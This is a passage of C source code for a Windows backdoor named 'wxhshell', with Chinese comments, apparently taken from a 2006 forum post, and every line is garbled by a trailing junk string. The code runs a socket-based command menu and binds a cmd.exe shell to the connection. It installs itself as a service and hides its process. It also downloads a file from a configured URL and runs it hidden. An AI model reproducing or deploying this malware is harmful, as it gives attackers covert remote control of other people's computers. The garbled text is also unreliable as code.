  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kQ\GVI11?  
  else ]TvMT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^ AZ#tp%)  
  } $z=a+t *  
  else { ~d*Q{v~3  
AD;m[u7  
    switch(cmd[0]) { :Drf]D(sMX  
  P~7(x7/7~  
  // 帮助 lMv6QL\>'  
  case '?': { \VPw3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "8QRYV~Z  
    break; =!Ik5LiD  
  } {i>AQ+z61f  
  // 安装 !@C-|=9G  
  case 'i': { Zpd-ob  
    if(Install()) 'o='Q)Dk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E:` _P+2p  
    else L15)+^4n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s}zR@ !`  
    break; &r,vD,  
    } EU(e5vO  
  // 卸载 Z~:)hwF  
  case 'r': { xI,3(A.  
    if(Uninstall()) @!;A^<{ka  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f]*;O+8$LN  
    else enk`I$Xx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ch# )XomN  
    break; 3MQHoxX  
    } WUS%4LL(  
  // 显示 wxhshell 所在路径 _'p/8K5)=  
  case 'p': { =CzGI|pb  
    char svExeFile[MAX_PATH]; :k9T`Aa]  
    strcpy(svExeFile,"\n\r"); <?41-p-;  
      strcat(svExeFile,ExeFile); +G;<D@gSa0  
        send(wsh,svExeFile,strlen(svExeFile),0); h-p}Qil,  
    break; J;sQvPHV8  
    } 7-3  
  // 重启 r'noB<| e  
  case 'b': { S{llpp{E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gX"  
    if(Boot(REBOOT)) 5Q"yn2b4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c@A.jc  
    else { (-ELxshd  
    closesocket(wsh); 6+=_p$crMx  
    ExitThread(0); ]ty$/{hx'  
    } v hZXgp0X  
    break; x@ X2r  
    } h<L_ =)lH  
  // 关机 G 1{m"1M  
  case 'd': { wn"\ @QvG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SY95s  
    if(Boot(SHUTDOWN)) "]3o93 3 D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [kJ;Uxncz~  
    else { zE;|MU@|  
    closesocket(wsh); nLL2/!'n  
    ExitThread(0); .QY>@b\  
    } i59 }6u_f  
    break; -|x7<$Hw  
    } +<$(ez  
  // 获取shell X$xf@|<a  
  case 's': { uV|F 3'jT  
    CmdShell(wsh); 5$ How!  
    closesocket(wsh); 27}:f?2hbJ  
    ExitThread(0); ?* ~4~ZE E  
    break; p*K #s1  
  } +wG *qI  
  // 退出 y/@Bhzc  
  case 'x': { PU%Zay  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R(t%/Hvs$  
    CloseIt(wsh); vdXi'<  
    break; \HxF?i "   
    } RZEq@q  
  // 离开 lP=,|xFra  
  case 'q': { a|TUH+|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |keU+De  
    closesocket(wsh); ?121 as}z  
    WSACleanup(); ,7$&gx>2&  
    exit(1); }S"gZ6   
    break; Q>[{9bI4QP  
        } U| yt   
  } AK lr a$  
  }  Z/Wf  
Wrbv<8}%c  
  // 提示信息 ke@OG! M/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _9-;35D_  
} zEjl@Kf  
  } */~|IbZ`o  
[#wt3<d`)  
  return; 3N]ushMO  
} S%H"i y  
&pY$\  
// shell模块句柄 zvN7aG  
int CmdShell(SOCKET sock) c}v8j2{  
{ Sj)?!  
STARTUPINFO si; _G`Q2hf"5  
ZeroMemory(&si,sizeof(si)); wg_Z@iX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #++:`Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J_a2DM6d  
PROCESS_INFORMATION ProcessInfo; 51% Rk,/o  
char cmdline[]="cmd"; *s, bz.[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nVlZ_72d  
  return 0; F.(W`H*1+  
} QlVj#Jv;~  
3Ch42<  
// 自身启动模式 rhYARr'  
int StartFromService(void) },<Y \  
{ ZC$u8$+P  
typedef struct n[BYBg1yG  
{ {Mo[C%  
  DWORD ExitStatus; uD{^1c3x  
  DWORD PebBaseAddress; QP"5A7=m  
  DWORD AffinityMask; -^np"Jk  
  DWORD BasePriority; )a!f")@uz  
  ULONG UniqueProcessId; )EYs+7/t  
  ULONG InheritedFromUniqueProcessId;  "X=^MGV  
}   PROCESS_BASIC_INFORMATION; Gqq< -drR  
%/)z!}{  
PROCNTQSIP NtQueryInformationProcess; A+Bq5mik  
EAh|$~X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (7_ezWSl>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dM,{:eID  
+U'n|>t9  
  HANDLE             hProcess;  vWW Q/^  
  PROCESS_BASIC_INFORMATION pbi; I 8 ?  
j!L7r'AV5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oGXcu?ft  
  if(NULL == hInst ) return 0; !9qw  
^^V+0 l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z3<lJk\Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -0'< 7FSQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ld%#.~Q  
aR)UHxvX  
  if (!NtQueryInformationProcess) return 0; M~X~2`fFH  
l"&iSq!3=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W`[7|8(6!  
  if(!hProcess) return 0; $Q|6W &?[;  
TJcHqzcUc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F)l1%F Cm  
PTpfa*t  
  CloseHandle(hProcess); "T8b.ng  
daB 5E<?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eMOp}.zt|  
if(hProcess==NULL) return 0; _4{3^QZq5  
i*xVD`x~  
HMODULE hMod; C9Cl$yZ  
char procName[255]; x wfdJ(&  
unsigned long cbNeeded; >0:=<RW  
|+-b#Sa9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Nog{w  
JBV 06T_4o  
  CloseHandle(hProcess); G]-\$>5R  
# b3 14  
if(strstr(procName,"services")) return 1; // 以服务启动 ieOw&  
FIJ]`  
  return 0; // 注册表启动 aTaL|&(  
} }PMlG  
Qc Xw -  
// 主模块 R{B5{~m>W@  
int StartWxhshell(LPSTR lpCmdLine) U~|)=+%O  
{ W9GjUswv!  
  SOCKET wsl; 3;//o<  
BOOL val=TRUE; P=ubCS'  
  int port=0; gsIp y  
  struct sockaddr_in door; Rs'mk6+  
vN6)Szim  
  if(wscfg.ws_autoins) Install(); 1<]?@[l<  
;%AY#b4m  
port=atoi(lpCmdLine); UHI<8o9  
/Zz [vf  
if(port<=0) port=wscfg.ws_port; KrTlzbw&p\  
.%\R L/  
  WSADATA data; e{Mkwi+j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5 yL"=3&+  
[ 7{cf`C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ! 4 "$O@U4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n2opy8J#!  
  door.sin_family = AF_INET; tB0f+ wC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z1\=d=  
  door.sin_port = htons(port); < ?rdhx  
*Xu?(Jd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q2gz\N  
closesocket(wsl); qz-lQ  
return 1; B I>r'  
} L>`inrpz=w  
>b*}Td~J  
  if(listen(wsl,2) == INVALID_SOCKET) { oC TSV  
closesocket(wsl); LD;! s  
return 1; _:XX+ 3W7  
} gp\o|igT  
  Wxhshell(wsl); %pxHGO=)E  
  WSACleanup(); %8KbVjn  
6(B[(Af  
return 0; >Qf`xUZ  
#%/0a  
} 'V4B{n7 h  
7MX5hZF"  
// 以NT服务方式启动 No'Th7=|S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _nIt4l7  
{ kc[<5^b5  
DWORD   status = 0; q$B|a5a?  
  DWORD   specificError = 0xfffffff; pQCW6X  
_o6Zj1p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ib(4Y%U6~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7] >z e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P.Qz>c^-C  
  serviceStatus.dwWin32ExitCode     = 0; ZGS4P0$  
  serviceStatus.dwServiceSpecificExitCode = 0; c*V/2" 5  
  serviceStatus.dwCheckPoint       = 0; Q/l388'  
  serviceStatus.dwWaitHint       = 0; 0fw>/"v  
Zx|VOl,;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E7U.>8C  
  if (hServiceStatusHandle==0) return; Ye\ &_w"  
_WBWFGj  
status = GetLastError(); XTq+  9  
  if (status!=NO_ERROR) p v*f]Yzx  
{ %Xl(wvd   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NHD`c)Q  
    serviceStatus.dwCheckPoint       = 0; jGn2Q L  
    serviceStatus.dwWaitHint       = 0; )Q~K\bJf  
    serviceStatus.dwWin32ExitCode     = status; }ho6  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]L!:/k,=S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q!) nSD  
    return; A{wSO./3  
  } &bwI7cO  
eq4Yc*|9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o=Kd9I#  
  serviceStatus.dwCheckPoint       = 0; KD8,a+GL  
  serviceStatus.dwWaitHint       = 0;  rUBc5@|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (p?B=  
} 9{R88f?;  
(+.R8  
// 处理NT服务事件,比如:启动、停止 {xQ(xy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "tU,.U  
{ gYa (-o  
switch(fdwControl) oN.#q$\` k  
{ =BgQ Ss/^c  
case SERVICE_CONTROL_STOP: Nk$OTDwP  
  serviceStatus.dwWin32ExitCode = 0; z?g\w6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y.WEO>   
  serviceStatus.dwCheckPoint   = 0; 9y;8JO  
  serviceStatus.dwWaitHint     = 0; 6z1>(Za7>  
  { QzD8 jk#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'zx1kq1  
  } `;3fnTI:1  
  return; ()EiBl(kWk  
case SERVICE_CONTROL_PAUSE: HhT6gJWrU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ka| 8 _C^z  
  break; FrQRHbp3  
case SERVICE_CONTROL_CONTINUE: hR~~k~84  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -Z&9pI(3R~  
  break; uVLKR PY  
case SERVICE_CONTROL_INTERROGATE: LVNJlRK  
  break; )uH#+IU  
}; Q|nGY:98  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +r 8/\'u-  
} ?&$BQK  
e/y\P&"eI  
// 标准应用程序主函数 y (=$z/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E3 aj  
{ m 3"|$0C~  
Tf.DFfV#y  
// 获取操作系统版本 Yi#U~ h  
OsIsNt=GetOsVer(); McRfEF \  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~|=goHmm[  
@x/D8HK2  
  // 从命令行安装 Hge0$6l  
  if(strpbrk(lpCmdLine,"iI")) Install(); hH=}<@z   
qku!Mg  
  // 下载执行文件 @SH$QUM(  
if(wscfg.ws_downexe) { 7\ kixfEg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gwv s  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y #6G&)M  
} ^ub@ Jwe  
N&-J,p~  
if(!OsIsNt) { hBNA,e:  
// 如果时win9x,隐藏进程并且设置为注册表启动 }:4b_-&Q5  
HideProc(); NekPl/4  
StartWxhshell(lpCmdLine); |E9iG  
} -gy@sSfvkv  
else .WT ar9e#  
  if(StartFromService()) 4{Af 3N  
  // 以服务方式启动 qI5`:PH%n  
  StartServiceCtrlDispatcher(DispatchTable); ^z}$ '<D9  
else &bT \4  
  // 普通方式启动 C *U,$8j|}  
  StartWxhshell(lpCmdLine); cP`[/5R  
H+F>#  
return 0; K}9c$C4  
}
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只看该作者 1 发表于: 2006-10-10
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